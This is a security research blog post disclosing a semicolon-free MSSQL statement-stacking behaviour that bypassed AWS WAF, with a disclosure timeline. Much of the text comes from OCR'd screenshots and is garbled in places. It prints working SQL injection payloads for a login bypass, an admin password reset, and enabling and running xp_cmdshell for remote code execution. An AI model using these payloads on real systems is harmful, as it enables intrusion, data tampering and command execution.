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AWS WAF Clients Left Vulnerable to SQL Injection
Due to Unorthodox MSSQL Design Choice

by Marc Olivier Bergeron | Jun 21, 2023

While doing research on Microsoft SQL (MSSQL) Server, a GoSecure ethical hacker found an
unorthodox design choice that ultimately led to a web application firewall (WAF) bypass.

In a nutshell

An undocumented design choice in MSSQL caused Web Application Firewall (WAF) vendors to be
overly strict in what it will consider SQL. These types of problems allow a bypass of the security
protection provided by WAFs. This specific confusion is caused by Microsoft, since their SQL engine
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is loose in what it accepts. However, it is now up to the WAF vendors to re-implement that lax
attitude in their SQL parsers. This specific issue has been remediated by AWS since we notified
them. Read on for all the gory details.

The discovery

Late last year, we were playing with MSSQL to better understand how a time-based injection
worked, as the cheat sheets are not always clear on why it works that way. Doing so, we were
confused when the following statement worked:

SELECT * FROM test WHERE id = 1 WAITFOR DELAY'0:0:5'

Without any kind of termination at the end of the query, the database waited for five seconds and
then yielded the results without any kind of error. At first, we thought that the WAITFOR could be a
valid keyword in a SELECT query, but it is not. Then, we went a bit further by running two queries
back-to-back and obtaining both results separately:

SELECT 'a' SELECT 'b’'|
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If we look at what happened in the SQL Server Profiler, we can see that each statement was
completed individually even though they were sent in the same batch without any termination in
between to split them:

] EventClass ] Text Data ]
Trace Start
S0l :BatchStarting SELECT ®&85PID;
SOL:sStmtstarting SELECT @a5PID
SOL:StmtCompleted SELECT @a5FPID
SOL: BatchCompleted SELECT @aSPID;
S0l :BatchStarting SELECT "g" -5ELECT "h°
SOL:StmtStarting SELECT "a'
SOL:stmtCompleted SELECT "a’
SOL:SstmtStarting SELECT 'b°*
SOL: StmtCompleted SELECT 'b'

- 5QL: BatchCompleted : SELECT 'a' SELECT 'b'

SELECT "a' SELECT 'k’
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Knowing this, we pursued our exploration. We decided to write multiple SQL statements back-to-
back without any space:

SOL:
iStmtCompleted
SOL:
SOL:
1StmtStarting

iStmtCompleted
SOL:
SOL:
SqQL:
iStmtCompleted

sqL

100 8%
B Results

StmtStarting

BatchCompleted
Batchstarting

Stmtstarting
StmtCompleted
StmtStarting

SELECT "a"SELECT "b"SELECT "€

E]i Messages

(Mo column name)

ia

(Mo column name)

b

(Mo column name)

i

ESQL:

BatchCompleted

L4

SELECT @&as5PID

SELECT @&5PID

SELECT @asrID;
SELECT"a"SELECT'b'"SELECT"C'
SELECT'"a'

SELECT'a’

SELECT'b’

SELECT'b’

SELECT"C’

SELECT"cC”

éSELECT'E'SELECT'D'SELECT'C'

SELECT'a"SELECT"b"SELECT "’

Then, we wondered if it was possible to do this with other statements than SELECT. Additionally, is
it possible without any kind of space or known space replacements, such as inline comments? The
answer is yes, except for statements that require a space in between reserved keywords. For
instance, CREATE TABLE or ALTER TABLE still needs some space between the two reserved
keywords. Otherwise, the following image shows that it was possible to change the database
context, create a table, insert data in the table, select the data from the table and drop the table:
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File Edit View Replay Tools Window Help

BANEERal|rne | BAEANz D=9
s

b
EventClass TextData Duration 1 SPID 1 DatabazelD 1 DatabaseMame Ohbiject Type ]
SP:CacheInsert use[tempdb]create/**/table[test]([id... 56 1 master 20801 - AQ
sqL:BatchStarting use[tempdb]create/**/table[test]([id... 56 1 master
SOL:StmtStarting use[tempdb] SE 1 master
sqL: stmtCompleted use[tempdb] o SE 2 tempdb
SQL:stmtstarting create/**/table[test] ([idlint) 56 2 tempdb
SOL:stmtCompleted create/**/table[test] ([id]int) 3 & 2 tempdb
SQL:stmtstarting insertftestlvalues(l) e 2 tempdb
SOL:SstmtRecompile insertftestlvalues(l) 56 1 master 20801 - AQ
SP:cacheInsert (@1 int)INSERT INTO [test] walues(@l) 56 2 tempdb 20816 - PQ
SOL:stmrstarting insertftestivalues(l) 56 2 tempdb
sOL:stmtCompleted insertftestivalues(l) o 56 2 tempdb
SgL:stmtstarting select[id]from[test] 56 2 tempdb
SgL:stmtRecompile select[id]from[test] 56 1 master 20801 - AQ
SOL:StmtStarting select[id]from[test] 56 2 tempdb
SOL:SstmtCompleted select[id]from[test] o 56 2 tempdb
SQL:stmtStarting drop/**/table[test] & 2 tempdb
SOL:StmtCompleted drop/**/table[test] o S& 2 tempdb
sqL:BatchCompleted use[tempdb]create/=*/table[test]([id... 8 56 2 tempdb

<

use[tempdb] create /= /table[test] ([id]intiinsert[testlvalues(l)iselect[idjfrom[testldrop/* /table[test]

go

|.5; 5QLCueny1.sql - DESKTOP-E3ATAENSOLEXPRESS. tempdb (DESKTOP-E3ATAET\mbergeron (56))* - Microsoft SQL Server Management Studio

File Edit View Query Project Tools Window Help
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SOLOueryl.sqgl - DE...EMvmbergeron (36]1F & X
[ use[tempdb]create/** /table[test]([id]int}insert[test]values(1)select[id]from[test]drop/**/table[test]

1dig 123[g0
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PNl

The batch of statements above was:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Which is the equivalent of the following:

use [tempdb]

create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]

drop table[test]

With all this information, we had to wonder, is this publicly known? Is this by design or a bug? Who
else knows about this? And could it be used to bypass web application firewalls (WAFs)?
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A Review of What Is Publicly Known

After some research; looking at Microsoft's documentation on MSSQL, testers’ cheat sheets on
MSSQL injection, etc., we had to conclude that this was unknown to the public and that it could
potentially be an unintentional bug in MSSQL.

Taken from the official Microsoft's documentation on SQL injection, it says that “the semicolon (;)
denotes the end of one query and the start of another.”:

However, assume that the user enters the following:

5QL Iy Copy

Redmond'; drop table OrdersTable--

In this case, the following query is assembled by the script:

5QL ™ Copy

SELECT * FROM OrdersTable WHERE ShipCity = 'Redmond’;drop table OrdersTable--'

The semicolon (;) denotes the end of one query and the start of another.|The double hyphen (--)

From the same documentation, it also states that as a developer you can reject some characters to
avoid SQL injection, which includes the semicolon again:

When you can, reject input that contains the following characters.

Input Meaning in Transact-5QL
character

- Query delimiter.

Character data string delimiter.

-- Single-line comment delimiter. Text following -- until the end of that line is not evaluated by

the server.
5. Comment delimiters. Text between /* and */ is not evaluated by the server.
Xp_ Used at the start of the name of catalog-extended stored procedures, such as xp_cmdshell.

The following was taken from another Microsoft's documentation that is named Transact-SQL synt
ax conventions. According to this documentation, semicolons are only mandatory in some cases
and will be mandatory in a future version. However, it does not state how to terminate a
statement if the semicolon is not present.
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The following table lists and describes conventions that are used in the syntax diagrams in the Transact-

SQL reference.

Convention Used for
UPPERCASE  Transact-SOL keywords.
italic User-supplied parameters of Transact-50L syntax.

bold Type database names, table names, celumn names, index names, stored procedures, utilities, data type
names, and text exactly as shown.

| twertical Separates syntax items enclosed in brackets or braces. You can use only one of the items.
bar)

[] (brackets) Optional syntax item.

i } (braces) Required syntax items. Don't type the braces.

[,.nl] Indicates the preceding item can be repeated n number of times. The occurrences are separated by
COMMmas.

[.m] Indicates the preceding item can be repeated n number of times. The occurrences are separated by
blanks.

Transact-SOL statement terminator. Although the semicolon isn't required for most statemenits in this
version of SQL Server, it will be required in a future version.

i The name for a block of syntax. Use this convention to group and label sections of lengthy syntax or a
unit of syntax that you can use in more than one location within a statement. Each location in which the
block of syntax could be used is indicated with the label enclosed in chevrons: <label>.

A set is a collection of expressions, for example <grouping set>; and a list is a collection of sets, for
example <composite element list>.

We often see scripts that contain multiple statements without a semicolon but instead contain a
line break and a GO statement. We assumed that the only way to run multiple statements on the
same line was with a semicolon, with an IF, BEGIN, CASE WHEN, or other conditional statements.
As much as this assumption was correct in a way, it is also possible to use it with many other
statements.

Then, according to multiple testers’ cheat sheets, the only way to achieve stacking queries is with a
semicolon delimiter:
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Stacking Queries

Executing more than one query in one transaction. This is very useful in every injection point, especially
in SQL Server back ended applications.

= g5l
SELECT * FROM members; DROP members--

Ends a query and starts a new one.

Language / Database Stacked Query Support Table

green: supported, dark gray: not supported, light gray: unknown

SQL Server  MySQL PostgreSQL ORACLE MS Access

ASP.NET

PHP -

https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/#StackedSamples

Batched (or stacked) queries

You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are
executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind
vulnerabilities where you can use a second query to frigger a DNS lookup, conditional error, or time delay.

Oracle Does not support batched gueries.
Microsoft QUERY-1-HERE; QUERY-Z-HERE
PostgreSQL QUERY-1-HERE; QUERY-Z-HERE

MySQL QUERY-1-HERE; QUERY-Z-HERE

https://portswigger.net/web-security/sql-injection/cheat-sheet#batched-or-stacked-queries

@ MSSQL Stacked Query

Use a semi-colon ";" to add another query

ProductID=1; DROP members--

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20I
njection.md#mssql-stacked-query

The closest that we have seen of stacked queries without delimiters was in the Microsoft
documentation saying that the semicolon is not required for most statements. It remains unclear
what else can be done. Most other examples being conditional injections like:
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IF (SELECT 1) = 1 WAITFOR DELAY '0:0:5' ELSE SELECT O END

Bug or Feature?

Our finding will be surprising to most database administrators and developers and, accordingly,
should be considered a separate issue than conditional injections. We therefore decided to report
it to Microsoft to ensure it was not an unintended bug before disclosing this to any other third-
party company, like a company that makes a WAF that could be bypassed with this. We submitted
the report on January 6th, 2023, and received a reply on February 11th stating that “We
determined that this behavior is considered to be by design.”

There you have it, the answer to the question “bug or feature?”. We now know that it is in fact by
design. But what can be done on WAFs with this? Are they aware of such a feature?

Abusing the bug to bypass AWS Web Application Firewall (WAF)

At first, we tried to bypass the AWS WAF without using any query termination like the semicolon
and without space, or known substitute, if possible. But our efforts did not seem to work with the
usual keywords like “UPDATE", “INSERT", “DELETE", “SELECT", etc. Suddenly, we got through the
WAF by using the “EXEC” keyword. This means that it was possible to do almost anything from
there including bypassing logins with “UNION SELECT”, updating data like a user’s password with
“UPDATE" or even enabling “xp_cmdshell” to gain remote code execution.

The following example shows that the password of the user “admin” was not “testtest123” since
the application responded with “Wrong password”:

* dxv3kdkd64xxt.cloudfront.r X  dxv3kdkdédxxt.cloudfront.. x  dxv3kdkd64xxt.cloudfront.; x +

C @ O & 1bbéfbcsc3edol1e6e898bcBae.php?username=admin&password=testtest123 v

Wrong password

But what if we used the “UNION SELECT” keyword to set our own administrator with our own
password? The WAF would block this request originally, but what if it thinks that the query is
invalid because of the “EXEC” keyword at the end without any termination? It is to be noted that
the first part of the query was meant to be false so that the only data returned by this query is the
data in the union and that explains the typo in the “admina” username.

®  dxvikdkd6dxxt.cloudfront. x| dxv3kdkd6axxt.cloudfront: *  +

» O @ 0 & fusername=admina'union select 1,'admin’, testtest123' exec('select 1')-&password=testtest123 {7

Auth successful

The query submitted:
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admina'union select 1,'admin’,'testtest123'exec('select 1')--

It worked because, in theory, the batch of queries is valid in MSSQL and won't have any error to it.
In MSSQL, the batch would be split into two different queries that would look like this:

SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin’,'testtest123'

exec('select 1')--'

Our goal was to bypass the restrictions of the WAF by making it believe that the query was invalid
so that it will not block it. Meaning that the additional “EXEC” keyword was there only for that
purpose. It is to be noted that the second query would still run on the server, but the result would
not be accessible by the web application. Therefore, the “SELECT” keyword is only there to bypass
the WAF, but there are other interesting ways to use this feature, such as data modification.

As previously mentioned, it is not possible to directly use the keywords that are used to modify
data, but what if we use them with the “EXEC" keyword just like we did above with the “SELECT"?
The following image shows that the browser is using AWS CloudFront and that the authentication
was successful. Note that the authentication was only successful because the password was
“admin” before the “"UPDATE” occurred. The middle of the image displays the Apache logs showing
that the username parameter contained the malicious payload that is going to modify the
password of the user “admin” to the letter “a”. Finally, the bottom section of the image shows that
the password was modified in the database to the letter “a".

=) dxv3kdkd64xxt.cloudfront.r ¥ dxvikdkd64xxt.cloudfront.r %

C O B https://dxv3kdkde4xxt.cloudfront.net/F79

Auth successful

gid T username T password T

5 admin

The payload was:
admin'exec(‘'update[users]set[password]="a"")--

Which, again, will be split into two (2) distinct statements that will do the following:


https://gosecure.wpenginepowered.com/wp-content/uploads/update_password.png
https://gosecure.wpenginepowered.com/wp-content/uploads/update_password.png

SELECT id, username, password FROM users WHERE username = 'admin'

i

exec('update[users]set[password]="a"")--

What else could be done with this bypass? Remember when we mentioned enabling “xp_cmdshell”
and obtaining remote code execution? The following image shows that we successfully enabled
“show advanced option” and “xp_cmdshell” with one HTTP request. The top of the image displays
the batch being split into multiple statements in SQL Server Profiler. The middle displays the
browser requesting on AWS CloudFront with part of the payload. The bottom part displays that
“show advanced option” and “xp_cmdshell” are now enabled.

5QL:Batchstarting SELECT id FROM users WHERE username = 'admin’exec(’sp_configure’'show advanced options®®,'"1*'reconfigure’)exec('sp_configure’’ apache2
SOL:STmtsTarting SELECT id FROM users WHERE username = 'admin' apachez
SqQL:stmtCompleted SELECT id FROM users WHERE username = ‘admin® apachez
S0L: STMTSTarting exec("sp_configure’ "show advanced options’',” 1" 'reconfigure’) apachez
sQL: StmtCompleted exec('sp_configure’ "show advanced options'',''1''reconfigure') apachez
SQL:stmrstarting exec("sp_configure” "xp_cmdshell' ', 1" 'reconfigure’) apachez
sqL:stmtCompleted exec('sp_configure' "xp_cmdshell'",""1" 'reconfigure") apachez

**1°‘reconfigure’)exec('sp_configure'’ apachez
apache2

Mirrnsnfr S0, ..

SELECT 1d FROM USers WHERE username = ‘admin‘exec(‘sp_configure® ‘show advanced options'‘,

sqL:Batchcompleted

* | dxvikdkd6axxt.cloudfront.r ¥ dxv3kdkde4xxt.cloudfront

8

Auth successful

Slexec sp_configure 'show advanced option’
exec sp_configure 'xp cmdshell®

name minimum  masimem  config_value  run_value
o 1 1 1

madmum  config_value  run_value
1 1 1

The payload was:
admin'exec('sp_configure'show advanced option","1"reconfigure')exec('sp_configure"xp_cmdshell","1"reconfigure')--
< T ——————
What was executed on the database server:
select * from users where username ="' admin'

exec('sp_configure"show advanced option","1"reconfigure')

exec('sp_configure"xp_cmdshell","1"reconfigure')--

We then used the same technique to execute “xp_cmdshell” and obtain remote code execution on
the system with:
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#y  dtkis72ilhgfo.cloudfront.ne . +

C @ O & fe185540a.php?z =admin’exec('xp_cmdshell"echo "This is a test!" > C:\Temp\test.txt

int(1) string(5) "admin" string(5) "admin"

e MG =
i U : Slel=
[ EventClass [ TextData [ SPID_[ Emor | RowCounts | m
sSqL:Batchstarting i select » from users where username = 'admin’exec(’'xp_cmdshell''echo "This is a test!™ > C:\Temp\test.txt''')--'| 53
SOL:StmEsStarting select » from users where username = 'admin’ 53
sQL: STmrcompleted select » from users where username = ‘admin’ 53 1
sqL: stmrstarting exec('xp_cmdshell' ‘echo "This 1s a " > Ci\Temp\rest.Txt'"") 53
sQL: sTmECompleted | exec( ' xp_cmdshell’ ‘echo "This is a > C:\Temp\rest.ixt'' ") ] 53 o
50L:BatchCompleted select * from users where username = 'admin’exec(’xp_cmdshell’‘echo "This is a test!™ » C:\Tempirest.txt'"")--' 53 0 ... 1
SqL:Batchstarting SET DEADLOCK_PRIORITY -10 58 v
select from users where userrjame = 'admin' execl Xp_cmdsnell’ 'echo “This 15 @ TesT!® > C:\Temp\Test.TXt &' |- A
w
< >
Trace is running, [tn1,Col2 [Rows22
Connections: 1 e
¥ x ) testixt - Notepad = =] X
Home Share View File Edit Format View Help
"This is a test!"
« v 4 * Local.. » Temp v | O
e ‘Lame
s Quick access .
testixt
[ Desktop =
&4 Downloads
| Decuments +
= Pictures +
v <
Titern  1item selected 20 bytes Ln2, Coll 100%  Windows (CRLF) UTF-8

The payload was:

admin'exec('xp_cmdshell"echo "This is a test!" > C:\Temp\test.txt"")--

What was executed on the database server:

select * from users where username = 'admin’

exec('xp_cmdshell"echo "This is a test!" > C:\Temp\test.txt"")--
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There you have it, remote code execution on a MSSQL server protected by AWS WAF. But what
about other WAFs? We tried to bypass Azure’s WAF and ModSecurity without success. There is one
thing to note for developers that use ModSecurity with libinjection: with this technique, we
achieved an anomaly score of 5 at paranoia level 1. Therefore if you modified the anomaly score to
be higher, you could be vulnerable to this technique.

Design Choice with Security Implications

The real problem in this story is the lack of documentation about this design choice, not the
feature itself. Had it been documented properly and transparently, WAF developers would be able
to better and more efficiently protect themselves. This design choice is simply unusual if
compared with other popular SQL databases and improper documentation is what makes it a
problem.

Timeline

e 2022-11-03: *Feature *discovered while doing MSSQL research.

e 2023-01-06: Reporting it as a security bug to Microsoft's Security Response Center.

e 2023-02-11: Response from Microsoft stating that this is by design and not a security issue.
e 2023-02-14: Reporting the WAF bypass to the AWS security team by email.

e 2023-02-15: Response from AWS saying that they will investigate the matter.

e 2023-03-13: Response from AWS saying that they are working on a fix.

e 2023-06-15: Response from AWS saying that it is now fixed.

e 2023-06-19: We confirmed the fix.

Conclusion

Unlike many security issues, this is merely a design choice that was unorthodox and
undocumented. This design choice has left AWS WAF clients unprotected to MSSQL injection
attacks using this specific issue. Fortunately, AWS was responsive and had great communication
with our team to ensure the WAF was properly protecting clients against this issue.
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